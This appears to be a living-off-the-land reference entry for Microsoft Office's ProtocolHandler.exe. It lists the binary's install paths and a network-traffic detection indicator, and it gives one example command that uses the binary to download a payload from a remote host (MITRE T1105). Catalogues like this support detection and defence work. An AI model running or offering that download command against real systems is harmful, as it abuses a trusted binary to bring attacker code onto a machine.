.. /
ProtocolHandler.exe
Microsoft Office binary
Paths:
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\ProtocolHandler.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\ProtocolHandler.exe
C:\Program Files (x86)\Microsoft Office\Office16\ProtocolHandler.exe
C:\Program Files\Microsoft Office\Office16\ProtocolHandler.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\ProtocolHandler.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\ProtocolHandler.exe
C:\Program Files (x86)\Microsoft Office\Office15\ProtocolHandler.exe
C:\Program Files\Microsoft Office\Office15\ProtocolHandler.exe
Detection:
IOC: Suspicious Office application Internet/network traffic
Download
Downloads payload from remote server
ProtocolHandler.exe https://example.com/payloadT1105